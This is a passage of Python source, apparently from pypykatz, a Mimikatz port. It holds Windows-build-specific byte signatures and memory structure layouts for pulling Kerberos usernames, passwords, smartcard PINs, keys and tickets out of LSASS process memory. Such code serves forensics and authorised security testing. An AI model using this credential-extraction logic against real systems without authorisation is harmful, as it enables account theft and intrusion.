33 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5
34 template.hash_password_struct = KERB_HASHPASSWORD_5
35 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5
36
37
38 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
39 template.signature = b'\x48\x3b\xfe\x0f\x84'
40 template.first_entry_offset = -4
41 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
42 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52
43 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5
44 template.hash_password_struct = KERB_HASHPASSWORD_5
45 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5
46
47 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
48 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
49 template.first_entry_offset = 6
50 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
51 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60
52 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
53 template.hash_password_struct = KERB_HASHPASSWORD_6
54 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60
55
56 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
57 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
58 template.first_entry_offset = 6
59 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
60 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
61 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
62 template.hash_password_struct = KERB_HASHPASSWORD_6
63 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60
64
65 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
66 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
67 template.first_entry_offset = 6
68 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
69 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
70 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
71 template.hash_password_struct = KERB_HASHPASSWORD_6
72 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62
73
74 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value:
75 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
76 template.first_entry_offset = 6
77 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10
78 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
79 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
80 template.hash_password_struct = KERB_HASHPASSWORD_6
81 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
82
83 elif WindowsBuild.WIN_10_1511.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value:
84 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
85 template.first_entry_offset = 6
86 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10
87 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10
88 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
89 template.hash_password_struct = KERB_HASHPASSWORD_6
90 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
91
92
93 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value:
94 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
95 template.first_entry_offset = 6
96 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607
97 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607
98 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
99 template.hash_password_struct = KERB_HASHPASSWORD_6_1607
100 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
101
102 else:
103 raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
104
105
106 elif sysinfo.architecture == KatzSystemArchitecture.X86:
107 if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
108 template.signature = b'\x8B\x7D\x08\x8B\x17\x39\x50'
109 template.first_entry_offset = -8
110 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_51
111 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51
112 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5
113 template.hash_password_struct = KERB_HASHPASSWORD_5
114 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5
115
116
117 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
118 template.signature = b'\x8B\x7D\x08\x8B\x17\x39\x50'
119 template.first_entry_offset = -8
120 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
121 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52
122 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5
123 template.hash_password_struct = KERB_HASHPASSWORD_5
124 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5
125
126 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
127 template.signature = b'\x53\x8b\x18\x50\x56'
128 template.first_entry_offset = -11
129 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
130 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60
131 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
132 template.hash_password_struct = KERB_HASHPASSWORD_6
133 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60
134
135 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
136 template.signature = b'\x53\x8b\x18\x50\x56'
137 template.first_entry_offset = -11
138 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
139 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
140 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
141 template.hash_password_struct = KERB_HASHPASSWORD_6
142 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60
143
144 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_BLUE.value:
145 template.signature = b'\x57\x8b\x38\x50\x68'
146 template.first_entry_offset = -14
147 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
148 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
149 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
150 template.hash_password_struct = KERB_HASHPASSWORD_6
151 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62
152
153 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
154 template.signature = b'\x56\x8b\x30\x50\x57'
155 template.first_entry_offset = -15
156 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
157 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
158 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
159 template.hash_password_struct = KERB_HASHPASSWORD_6
160 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62
161
162 ####DOUBLE CHECK THE STRUCTURES BELOW THIS LINE!!!!
163 #### kerbHelper[N] -> KerberosReferences... {-15,7}}, here N= 7
164
165 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value:
166 template.signature = b'\x56\x8b\x30\x50\x57'
167 template.first_entry_offset = -15
168 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_X86
169 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
170 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
171 template.hash_password_struct = KERB_HASHPASSWORD_6
172 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
173
174
175 elif WindowsBuild.WIN_10_1511.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value:
176 template.signature = b'\x56\x8b\x30\x50\x57'
177 template.first_entry_offset = -15
178 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86
179 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607
180 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
181 template.hash_password_struct = KERB_HASHPASSWORD_6_1607
182 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
183
184
185 elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber:
186 template.signature = b'\x56\x8b\x30\x50\x53'
187 template.first_entry_offset = -15
188 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86
189 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607
190 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
191 template.hash_password_struct = KERB_HASHPASSWORD_6_1607
192 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
193
194
195 else:
196 raise Exception('Unknown architecture! %s' % sysinfo.architecture)
197
198
199 return template
200
201 class PKERB_SMARTCARD_CSP_INFO_5(POINTER):
202 def __init__(self, reader):
203 super().__init__(reader, KERB_SMARTCARD_CSP_INFO_5)
204
205
206 class KERB_SMARTCARD_CSP_INFO_5:
207 def __init__(self, reader, size):
208 pos = reader.tell()
209 #self.dwCspInfoLen = DWORD(reader).value
210 self.ContextInformation = PVOID(reader).value
211 self.nCardNameOffset = ULONG(reader).value
212 self.nReaderNameOffset = ULONG(reader).value
213 self.nContainerNameOffset = ULONG(reader).value
214 self.nCSPNameOffset = ULONG(reader).value
215 diff = reader.tell() - pos
216 data = reader.read(size - diff + 4)
217 self.bBuffer = io.BytesIO(data)
218
219 def read_wcharnull(self, buffer, tpos):
220 pos = buffer.tell()
221 buffer.seek(tpos, 0)
222 data = b''
223 i=0
224 nc = 0
225 while i < 255:
226 if nc == 3:
227 break
228 c = buffer.read(1)
229 if c == b'\x00':
230 nc += 1
231 else:
232 nc = 0
233 data += c
234 i += 1
235 buffer.seek(pos, 0)
236 return data.decode('utf-16-le').replace('\x00', '')
237
238 def get_infos(self):
239 t = {}
240 t['CardName'] = self.read_wcharnull(self.bBuffer, self.nCardNameOffset)
241 t['ReaderName'] = self.read_wcharnull(self.bBuffer, self.nReaderNameOffset)
242 t['ContainerName'] = self.read_wcharnull(self.bBuffer, self.nContainerNameOffset)
243 t['CSPName'] = self.read_wcharnull(self.bBuffer, self.nCSPNameOffset)
244
245 return t
246
247 class PKERB_SMARTCARD_CSP_INFO(POINTER):
248 def __init__(self, reader):
249 super().__init__(reader, KERB_SMARTCARD_CSP_INFO)
250
251
252 class KERB_SMARTCARD_CSP_INFO:
253 def __init__(self, reader, size):
254 pos = reader.tell()
255 #self.dwCspInfoLen = DWORD(reader).value
256 self.MessageType = DWORD(reader).value
257 self.ContextInformation = PVOID(reader).value #U
258 self.SpaceHolderForWow64 = ULONG64(reader).value #U
259 self.flags = DWORD(reader).value
260 self.KeySpec = DWORD(reader).value
261 self.nCardNameOffset = ULONG(reader).value * 2
262 self.nReaderNameOffset = ULONG(reader).value * 2
263 self.nContainerNameOffset = ULONG(reader).value * 2
264 self.nCSPNameOffset = ULONG(reader).value * 2
265 diff = reader.tell() - pos
266 data = reader.read(size - diff + 4)
267 self.bBuffer = io.BytesIO(data)
268
269 def read_wcharnull(self, buffer, tpos):
270 pos = buffer.tell()
271 buffer.seek(tpos, 0)
272 data = b''
273 i=0
274 nc = 0
275 while i < 255:
276 if nc == 3:
277 break
278 c = buffer.read(1)
279 if c == b'\x00':
280 nc += 1
281 else:
282 nc = 0
283 data += c
284 i += 1
285 buffer.seek(pos, 0)
286 return data.decode('utf-16-le').replace('\x00', '')
287
288 def get_infos(self):
289 t = {}
290 t['CardName'] = self.read_wcharnull(self.bBuffer, self.nCardNameOffset)
291 t['ReaderName'] = self.read_wcharnull(self.bBuffer, self.nReaderNameOffset)
292 t['ContainerName'] = self.read_wcharnull(self.bBuffer, self.nContainerNameOffset)
293 t['CSPName'] = self.read_wcharnull(self.bBuffer, self.nCSPNameOffset)
294
295 return t
296
297 class PKIWI_KERBEROS_CSP_INFOS_5(POINTER):
298 def __init__(self, reader):
299 super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_5)
300
301 class KIWI_KERBEROS_CSP_INFOS_5:
302 def __init__(self, reader):
303 self.PinCode = LSA_UNICODE_STRING(reader)
304 self.unk0 = PVOID(reader)
305 self.unk1 = PVOID(reader)
306 self.CertificateInfos = PVOID(reader)
307 self.unkData = PVOID(reader) # // 0 = CspData
308 self.Flags = DWORD(reader).value # // 1 = CspData (not 0x21)(reader).value
309 self.CspDataLength = DWORD(reader).value
310 self.CspData = KERB_SMARTCARD_CSP_INFO_5(reader, size = self.CspDataLength)
311
312 class PKIWI_KERBEROS_CSP_INFOS_60(POINTER):
313 def __init__(self, reader):
314 super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_60)
315
316
317 class KIWI_KERBEROS_CSP_INFOS_60:
318 def __init__(self, reader):
319 self.PinCode = LSA_UNICODE_STRING(reader)
320 self.unk0 = PVOID(reader).value
321 self.unk1 = PVOID(reader).value
322 self.CertificateInfos = PVOID(reader).value
323 self.unkData = PVOID(reader).value # // 0 = CspData
324 self.Flags = DWORD(reader).value #// 0 = CspData(reader).value
325 self.unkFlags = DWORD(reader).value #// 0x141(reader).value
326 self.CspDataLength = DWORD(reader).value
327 self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength)
328
329 class PKIWI_KERBEROS_CSP_INFOS_62(POINTER):
330 def __init__(self, reader):
331 super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_62)
332
333
334 class KIWI_KERBEROS_CSP_INFOS_62:
335 def __init__(self, reader):
336 self.PinCode = LSA_UNICODE_STRING(reader)
337 self.unk0 = PVOID(reader).value
338 self.unk1 = PVOID(reader).value
339 self.CertificateInfos = PVOID(reader).value
340 self.unk2 = PVOID(reader).value
341 self.unkData = PVOID(reader).value #// 0 = CspData(reader).value
342 self.Flags = DWORD(reader).value #// 0 = CspData(reader).value
343 self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61)
344 self.CspDataLength = DWORD(reader).value
345 self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength)
346
347 class PKIWI_KERBEROS_CSP_INFOS_10(POINTER):
348 def __init__(self, reader):
349 super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_10)
350
351 class KIWI_KERBEROS_CSP_INFOS_10:
352 def __init__(self, reader):
353 self.PinCode = LSA_UNICODE_STRING(reader)
354 self.unk0 = PVOID(reader).value
355 self.unk1 = PVOID(reader).value
356 self.CertificateInfos = PVOID(reader).value
357 self.unk2 = PVOID(reader).value
358 self.unkData = PVOID(reader).value #// 0 = CspData
359 self.Flags = DWORD(reader).value #// 0 = CspData(reader).value
360 self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61)(reader).value
361 self.unk3 = PVOID(reader).value
362 self.CspDataLength = DWORD(reader).value
363 self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength)
364
365 class PKIWI_KERBEROS_LOGON_SESSION_51(POINTER):
366 def __init__(self, reader):
367 super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_51)
368
369 class KIWI_KERBEROS_LOGON_SESSION_51:
370 def __init__(self, reader):
371 self.UsageCount = ULONG(reader).value
372 self.unk0 = LIST_ENTRY(reader)
373 self.unk1 = LIST_ENTRY(reader)
374 self.unk2 = PVOID(reader).value
375 self.unk3 = ULONG(reader).value # // filetime.1 ?
376 self.unk4 = ULONG(reader).value #// filetime.2 ?(reader).value
377 self.unk5 = PVOID(reader).value
378 self.unk6 = PVOID(reader).value
379 self.unk7 = PVOID(reader).value
380 self.LocallyUniqueIdentifier = LUID(reader).value
381 reader.align(8)
382 #self.unkAlign = ULONG(reader).value #aliing on x86(reader).value
383 self.unk8 = FILETIME(reader).value
384 self.unk9 = PVOID(reader).value
385 self.unk10 = ULONG(reader).value # // filetime.1 ?(reader).value
386 self.unk11 = ULONG(reader).value # // filetime.2 ?(reader).value
387 self.unk12 = PVOID(reader).value
388 self.unk13 = PVOID(reader).value
389 self.unk14 = PVOID(reader).value
390 self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader)
391 self.unk15 = ULONG(reader).value
392 self.unk16 = ULONG(reader).value
393 self.unk17 = ULONG(reader).value
394 self.unk18 = ULONG(reader).value
395 self.unk19 = PVOID(reader).value
396 self.unk20 = PVOID(reader).value
397 self.unk21 = PVOID(reader).value
398 self.unk22 = PVOID(reader).value
399 self.pKeyList = PVOID(reader)
400 self.unk24 = PVOID(reader).value
401 self.Tickets_1 = LIST_ENTRY(reader)
402 self.Tickets_2 = LIST_ENTRY(reader)
403 self.Tickets_3 = LIST_ENTRY(reader)
404 self.SmartcardInfos = PVOID(reader)
405
406
407 class PKIWI_KERBEROS_LOGON_SESSION(POINTER):
408 def __init__(self, reader):
409 super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION)
410
411 class KIWI_KERBEROS_LOGON_SESSION:
412 def __init__(self, reader):
413 self.UsageCount = ULONG(reader).value
414 reader.align()
415 self.unk0 = LIST_ENTRY(reader)
416 self.unk1 = PVOID(reader).value
417 self.unk2 = ULONG(reader).value # // filetime.1 ?
418 self.unk3 = ULONG(reader).value #// filetime.2 ?(reader).value
419 self.unk4 = PVOID(reader).value
420 self.unk5 = PVOID(reader).value
421 self.unk6 = PVOID(reader).value
422 self.LocallyUniqueIdentifier = LUID(reader).value
423 #self.unkAlign = ULONG(reader).value#ifdef _M_IX86(reader).value
424 reader.align(8)
425 self.unk7 = FILETIME(reader).value
426 self.unk8 = PVOID(reader).value
427 self.unk9 = ULONG(reader).value # // filetime.1 ?(reader).value
428 self.unk10 = ULONG(reader).value # // filetime.2 ?(reader).value
429 self.unk11 = PVOID(reader).value
430 self.unk12 = PVOID(reader).value
431 self.unk13 = PVOID(reader).value
432 self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader)
433 self.unk14 = ULONG(reader).value
434 self.unk15 = ULONG(reader).value
435 self.unk16 = ULONG(reader).value
436 self.unk17 = ULONG(reader).value
437 self.unk18 = PVOID(reader).value
438 self.unk19 = PVOID(reader).value
439 self.unk20 = PVOID(reader).value
440 self.unk21 = PVOID(reader).value
441 self.pKeyList = PVOID(reader)
442 self.unk23 = PVOID(reader).value
443 reader.align()
444 self.Tickets_1 = LIST_ENTRY(reader)
445 self.unk24 = FILETIME(reader).value
446 self.Tickets_2 = LIST_ENTRY(reader)
447 self.unk25 = FILETIME(reader).value
448 self.Tickets_3 = LIST_ENTRY(reader)
449 self.unk26 = FILETIME(reader).value
450 self.SmartcardInfos = PVOID(reader)
451
452 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL(POINTER):
453 def __init__(self, reader):
454 super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL)
455
456
457 class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL:
458 def __init__(self, reader):
459 self.UserName = LSA_UNICODE_STRING(reader)
460 self.Domaine = LSA_UNICODE_STRING(reader)
461 self.unk0 = PVOID(reader).value
462 self.Password = LSA_UNICODE_STRING(reader)
463
464 class PKIWI_KERBEROS_LOGON_SESSION_10(POINTER):
465 def __init__(self, reader):
466 super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10)
467
468 class KIWI_KERBEROS_LOGON_SESSION_10_X86:
469 def __init__(self, reader):
470 self.UsageCount = ULONG(reader).value
471 reader.align()
472 self.unk0 = LIST_ENTRY(reader)
473 self.unk1 = PVOID(reader).value
474 self.unk1b = ULONG(reader).value
475 reader.align()
476 self.unk2 = FILETIME(reader).value
477 self.unk4 = PVOID(reader).value
478 self.unk5 = PVOID(reader).value
479 self.unk6 = PVOID(reader).value
480 self.LocallyUniqueIdentifier = LUID(reader).value
481 #print(hex(self.LocallyUniqueIdentifier))
482 #input('unk7\n' + hexdump(reader.peek(0x100)))
483 reader.align()
484 self.unk7 = FILETIME(reader).value
485 self.unk8 = PVOID(reader).value
486 self.unk8b = ULONG(reader).value
487 reader.align()
488 self.unk9 = FILETIME(reader).value
489 self.unk11 = PVOID(reader).value
490 self.unk12 = PVOID(reader).value
491 self.unk13 = PVOID(reader).value
492 reader.align(8)
493
494 #input('credentials\n' + hexdump(reader.peek(0x100)))
495 self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader)
496 self.unk14 = ULONG(reader).value
497 self.unk15 = ULONG(reader).value
498 self.unk16 = ULONG(reader).value
499 self.unk17 = ULONG(reader).value
500 #//PVOID unk18 = (reader).value
501 reader.align(8)
502 self.unk19 = PVOID(reader).value
503 self.unk20 = PVOID(reader).value
504 self.unk21 = PVOID(reader).value
505 self.unk22 = PVOID(reader).value
506 self.unk23 = PVOID(reader).value
507 self.unk24 = PVOID(reader).value
508 self.unk25 = PVOID(reader).value
509
510 self.pKeyList = PVOID(reader)
511 self.unk26 = PVOID(reader).value
512 #input('pKeyList\n' + hexdump(reader.peek(0x100)))
513 reader.align()
514 #input('Tickets_1\n' + hexdump(reader.peek(0x100)))
515 self.Tickets_1 = LIST_ENTRY(reader)
516 self.unk27 = FILETIME(reader).value
517 self.Tickets_2 = LIST_ENTRY(reader)
518 self.unk28 = FILETIME(reader).value
519 self.Tickets_3 = LIST_ENTRY(reader)
520 self.unk29 = FILETIME(reader).value
521 self.SmartcardInfos = PVOID(reader)
522
523 class KIWI_KERBEROS_LOGON_SESSION_10:
524 def __init__(self, reader):
525 self.UsageCount = ULONG(reader).value
526 reader.align()
527 self.unk0 = LIST_ENTRY(reader)
528 self.unk1 = PVOID(reader).value
529 self.unk1b = ULONG(reader).value
530 reader.align()
531 self.unk2 = FILETIME(reader).value
532 self.unk4 = PVOID(reader).value
533 self.unk5 = PVOID(reader).value
534 self.unk6 = PVOID(reader).value
535 self.LocallyUniqueIdentifier = LUID(reader).value
536 self.unk7 = FILETIME(reader).value
537 self.unk8 = PVOID(reader).value
538 self.unk8b = ULONG(reader).value
539 reader.align()
540 self.unk9 = FILETIME(reader).value
541 self.unk11 = PVOID(reader).value
542 self.unk12 = PVOID(reader).value
543 self.unk13 = PVOID(reader).value
544 self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader)
545 self.unk14 = ULONG(reader).value
546 self.unk15 = ULONG(reader).value
547 self.unk16 = ULONG(reader).value
548 self.unk17 = ULONG(reader).value
549 #self.unk18 = PVOID(reader).value
550 self.unk19 = PVOID(reader).value
551 self.unk20 = PVOID(reader).value
552 self.unk21 = PVOID(reader).value
553 self.unk22 = PVOID(reader).value
554 self.unk23 = PVOID(reader).value
555 self.unk24 = PVOID(reader).value
556 self.unk25 = PVOID(reader).value
557 self.pKeyList = PVOID(reader)
558 self.unk26 = PVOID(reader).value
559 self.Tickets_1 = LIST_ENTRY(reader)
560 self.unk27 = FILETIME(reader).value
561 self.Tickets_2 = LIST_ENTRY(reader)
562 self.unk28 = FILETIME(reader).value
563 self.Tickets_3 = LIST_ENTRY(reader)
564 self.unk29 = FILETIME(reader).value
565 self.SmartcardInfos = PVOID(reader)
566
567 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(POINTER):
568 def __init__(self, reader):
569 super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO)
570
571
572 class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO:
573 def __init__(self, reader):
574 self.StructSize = DWORD(reader).value
575 reader.align()
576 self.isoBlob = PLSAISO_DATA_BLOB(reader) #POINTER!!!! #// aligned =
577
578 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(POINTER):
579 def __init__(self, reader):
580 super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607)
581
582 class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607:
583 def __init__(self, reader):
584 self.UserName = LSA_UNICODE_STRING(reader)
585 self.Domaine = LSA_UNICODE_STRING(reader)
586 self.unkFunction = PVOID(reader).value
587 self.type = DWORD(reader).value # // or flags 2 = normal, 1 = ISO(reader).value
588 reader.align()
589 self.Password = LSA_UNICODE_STRING(reader) # union {
590 self.IsoPassword = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(reader)
591
592 class PKIWI_KERBEROS_LOGON_SESSION_10_1607(POINTER):
593 def __init__(self, reader):
594 super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10_1607)
595
596
597 class KIWI_KERBEROS_LOGON_SESSION_10_1607:
598 def __init__(self, reader):
599 #input('aaaaaaaaa\n' + hexdump(reader.peek(0x300)))
600 self.UsageCount = ULONG(reader).value
601 reader.align()
602 self.unk0 = LIST_ENTRY(reader)
603 self.unk1 = PVOID(reader).value
604 self.unk1b = ULONG(reader).value
605 reader.align()
606 self.unk2 = FILETIME(reader).value
607 self.unk4 = PVOID(reader).value
608 self.unk5 = PVOID(reader).value
609 self.unk6 = PVOID(reader).value
610 self.LocallyUniqueIdentifier = LUID(reader).value
611 self.unk7 = FILETIME(reader).value
612 self.unk8 = PVOID(reader).value
613 self.unk8b = ULONG(reader).value
614 reader.align()
615 self.unk9 = FILETIME(reader).value
616 self.unk11 = PVOID(reader).value
617 self.unk12 = PVOID(reader).value
618 self.unk13 = PVOID(reader).value
619 reader.align(8)
620 self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader)
621 self.unk14 = ULONG(reader).value
622 self.unk15 = ULONG(reader).value
623 self.unk16 = ULONG(reader).value
624 self.unk17 = ULONG(reader).value
625 self.unk18 = PVOID(reader).value
626 self.unk19 = PVOID(reader).value
627 self.unk20 = PVOID(reader).value
628 self.unk21 = PVOID(reader).value
629 self.unk22 = PVOID(reader).value
630 self.unk23 = PVOID(reader).value
631 #self.unk24 = PVOID(reader).value
632 #self.unk25 = PVOID(reader).value
633 reader.align()
634 #reader.read(8+12)
635 #input('pkeylist \n' + hexdump(reader.peek(0x50)))
636 self.pKeyList = PVOID(reader)
637 self.unk26 = PVOID(reader).value
638 self.Tickets_1 = LIST_ENTRY(reader)
639 self.unk27 = FILETIME(reader).value
640 self.Tickets_2 = LIST_ENTRY(reader)
641 self.unk28 = FILETIME(reader).value
642 self.Tickets_3 = LIST_ENTRY(reader)
643 self.unk29 = FILETIME(reader).value
644 self.SmartcardInfos = PVOID(reader)
645
646
647 class KIWI_KERBEROS_LOGON_SESSION_10_1607_X86:
648 def __init__(self, reader):
649 #input('aaaaaaaaa\n' + hexdump(reader.peek(0x300)))
650 self.UsageCount = ULONG(reader).value
651 reader.align()
652 self.unk0 = LIST_ENTRY(reader)
653 self.unk1 = PVOID(reader).value
654 self.unk1b = ULONG(reader).value
655 reader.align()
656 self.unk2 = FILETIME(reader).value
657 self.unk4 = PVOID(reader).value
658 self.unk5 = PVOID(reader).value
659 self.unk6 = PVOID(reader).value
660 self.LocallyUniqueIdentifier = LUID(reader).value
661 #input('LocallyUniqueIdentifier\n' + hex(self.LocallyUniqueIdentifier))
662 self.unk7 = FILETIME(reader).value
663 self.unk8 = PVOID(reader).value
664 self.unk8b = ULONG(reader).value
665 reader.align()
666 self.unk9 = FILETIME(reader).value
667 self.unk11 = PVOID(reader).value
668 self.unk12 = PVOID(reader).value
669 self.unk13 = PVOID(reader).value
670 self.unkAlign = ULONG(reader).value
671 #input('credentials \n' + hexdump(reader.peek(0x200)))
672 self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader)
673 self.unk14 = ULONG(reader).value
674 self.unk15 = ULONG(reader).value
675 self.unk16 = ULONG(reader).value
676 self.unk17 = ULONG(reader).value
677 self.unk18 = PVOID(reader).value
678 self.unk19 = PVOID(reader).value
679 self.unk20 = PVOID(reader).value
680 self.unk21 = PVOID(reader).value
681 self.unk22 = PVOID(reader).value
682 self.unk23 = PVOID(reader).value
683 #self.unk24 = PVOID(reader).value
684 #self.unk25 = PVOID(reader).value
685 reader.align()
686
687 self.pKeyList = PVOID(reader)
688 self.unk26 = PVOID(reader).value
689 #input('Tickets_1 \n' + hexdump(reader.peek(0x200)))
690 self.Tickets_1 = LIST_ENTRY(reader)
691 self.unk27 = FILETIME(reader).value
692 self.Tickets_2 = LIST_ENTRY(reader)
693 self.unk28 = FILETIME(reader).value
694 self.Tickets_3 = LIST_ENTRY(reader)
695 self.unk29 = FILETIME(reader).value
696 self.SmartcardInfos = PVOID(reader)
697
698 class PKIWI_KERBEROS_INTERNAL_TICKET_51(POINTER):
699 def __init__(self, reader):
700 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_51)
701
702
703 class KIWI_KERBEROS_INTERNAL_TICKET_51:
704 def __init__(self, reader):
705 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader)
706 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader)
707 self.unk0 = PVOID(reader).value
708 self.unk1 = PVOID(reader).value
709 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
710 self.TargetName = PKERB_EXTERNAL_NAME(reader)
711 self.DomainName = LSA_UNICODE_STRING(reader)
